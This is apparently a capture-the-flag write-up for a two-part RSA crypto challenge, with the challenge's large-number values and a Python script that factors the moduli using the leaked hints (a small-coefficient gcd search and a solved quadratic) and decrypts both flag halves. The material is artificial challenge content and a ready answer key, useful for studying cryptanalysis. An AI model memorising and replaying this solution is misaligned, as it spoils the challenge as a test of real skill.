24515238681833205058342606937833381623401245973168414853552637114967604304443295650716165826636269802104285585640785686262729645662905133105311101575743339728027740930198498392537921389394080685434963506716037135352849525789611087440143854066880720394035373451872403694792246563655156782022724836500224286369632521434968249788657352092826521450427795603602500323214480586810427570710369585376924983594043248745989472914214103122255392581242195061296966498148760190374756531179592246985996456594796901388558130935937584350155732932245278425238100668963908762448069803640676369050750711244794874869155287504403144983084
2064120122486440703610541536570451884663780216683065730451818597055621226031049075464398251942835554536690853529198524753557660960594411178812768720190155976723066113826153103576041405021206449486249562762593250513782438363830385600090683687760866931577267493622854286079464141370933615968731326955680488344822733325742351465125946700985576519
2935698460648172088063031410750512508234908976540687720254424133725835569164297032235762632619856285739290168966048772112064235471499992380139042298936926206905432523718824033938889756149990133197711316969898581370101026667914673283950069188676249801734232382073910838997288966102918790204590242077807341645627422986361111366813082512392024620482091820573855446248318944454642989583450100570999255020573141528738185667463913084742564103197376665933282101287161274
==================================================================
22609502097790234125054452787465543003647975511286840768095519946651235118302804436788755412589909626630822145015825153818779779406749336821713379108753050305179390093992333638236889201725893091374485649096766519789288950500200124189067656148700692399356901167146079967302004119252705512230526542099543413171942892112669026043001010017788228299811485314813319990227836194271303053376683758456535811698702038204149156337167048777194593272366445920406472017012914585645482400546617935822140434931173826866414324753906604262460223764100204237134789955255188106972496113478446427586130414140010823891272297003194926230023
11599167986640895898781971259081838478524805543534436356054053614288967740440439361412680894217412846279034763231201956049305130725083515069792707920325789590198230645640731674949349040881104339923854646475865931356220992256393916882975836109215524206787560218489872579272148059406709057819992106787893281165549258146984026281104140400064989463689031911589624412291434825131580945272270843483732459446239491502847830350348745117392825584823793179119646757780211829113540370632558380288667034742149996713717201156473783389810018832390320177801407677970433685648156375816420344601563935714086163474936282133816876218251
1801425683678256606736404706447142164110264221348335073457890665037517041006658717190218795103561882775943412524505051746427315467091725945198550139035086086528039220163979654809744394104028007130486086748767327965439536725142791444317255854784220030075101640255172837483479293192967227954809841132893568187834401490795446371023027485194836171461214656614519811563111503945847345035068021888333767209423865470845356512967566901488058778855984568194053176100466569889237262126196055681993939938349250044641142168939615976989387885567607621744997101058855951708381880183650217398458332988742908791818405712081953286265
==================================================================
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import *
from gmpy2 import invert
from sympy import symbols,solve
from itertools import product
from math import gcd

n = 26431208729444714023658171519567999611655156163666012461049377852754522364967983334888008719169005067132147457768145650432224601627572396711625740992434441502981404085906974043449692385194523725663285381805341752664655843649525267244306284262782760081144936989568445791452171942309762572110024693191466625296798707442953800544083663459059607487968090942333009755531218995107857576848493115570943076327104093937764106177027114753702492658138243770682404261523142313860233316535573423753816665712808112231455199413993508133831121471131906694009124041404243156970894355864766787488671710960092926014349891982419011949171
c = 24515238681833205058342606937833381623401245973168414853552637114967604304443295650716165826636269802104285585640785686262729645662905133105311101575743339728027740930198498392537921389394080685434963506716037135352849525789611087440143854066880720394035373451872403694792246563655156782022724836500224286369632521434968249788657352092826521450427795603602500323214480586810427570710369585376924983594043248745989472914214103122255392581242195061296966498148760190374756531179592246985996456594796901388558130935937584350155732932245278425238100668963908762448069803640676369050750711244794874869155287504403144983084
h1 = 2064120122486440703610541536570451884663780216683065730451818597055621226031049075464398251942835554536690853529198524753557660960594411178812768720190155976723066113826153103576041405021206449486249562762593250513782438363830385600090683687760866931577267493622854286079464141370933615968731326955680488344822733325742351465125946700985576519
h2 = 2935698460648172088063031410750512508234908976540687720254424133725835569164297032235762632619856285739290168966048772112064235471499992380139042298936926206905432523718824033938889756149990133197711316969898581370101026667914673283950069188676249801734232382073910838997288966102918790204590242077807341645627422986361111366813082512392024620482091820573855446248318944454642989583450100570999255020573141528738185667463913084742564103197376665933282101287161274

for a, b in product(range(2**12), repeat=2):
q = gcd(a * (h1+0x114) - b * (h2+0x514), n)
if q != 1 and q < n:
break

p = n // q
e = 0x10001
d = invert(e, (p-1)*(q-1))
m = pow(c, d, n)

flag1 = long_to_bytes(m)

n = 22609502097790234125054452787465543003647975511286840768095519946651235118302804436788755412589909626630822145015825153818779779406749336821713379108753050305179390093992333638236889201725893091374485649096766519789288950500200124189067656148700692399356901167146079967302004119252705512230526542099543413171942892112669026043001010017788228299811485314813319990227836194271303053376683758456535811698702038204149156337167048777194593272366445920406472017012914585645482400546617935822140434931173826866414324753906604262460223764100204237134789955255188106972496113478446427586130414140010823891272297003194926230023
c = 11599167986640895898781971259081838478524805543534436356054053614288967740440439361412680894217412846279034763231201956049305130725083515069792707920325789590198230645640731674949349040881104339923854646475865931356220992256393916882975836109215524206787560218489872579272148059406709057819992106787893281165549258146984026281104140400064989463689031911589624412291434825131580945272270843483732459446239491502847830350348745117392825584823793179119646757780211829113540370632558380288667034742149996713717201156473783389810018832390320177801407677970433685648156375816420344601563935714086163474936282133816876218251
hint = 1801425683678256606736404706447142164110264221348335073457890665037517041006658717190218795103561882775943412524505051746427315467091725945198550139035086086528039220163979654809744394104028007130486086748767327965439536725142791444317255854784220030075101640255172837483479293192967227954809841132893568187834401490795446371023027485194836171461214656614519811563111503945847345035068021888333767209423865470845356512967566901488058778855984568194053176100466569889237262126196055681993939938349250044641142168939615976989387885567607621744997101058855951708381880183650217398458332988742908791818405712081953286265
e = 65537

val = invert(hint,n)

p = symbols('p')
ans = solve([514*p**2-114*n-val*p],p)

p = 150247279952912796628319439167087598658960209857939715481384766412377887286917020812600778554628283790584194733223642988071731185823236097710318351169230270503948468805605661101833776560552877189520975508661723196203726478092488148840301081427770623476948137746893798233610291628878063995483607207704552192627

d = invert(e,p-1)
m = pow(c,d,p)

flag2 = long_to_bytes(m)

print(flag1+flag2)

注意脚本中ans的中正的数字是下面第34行的p值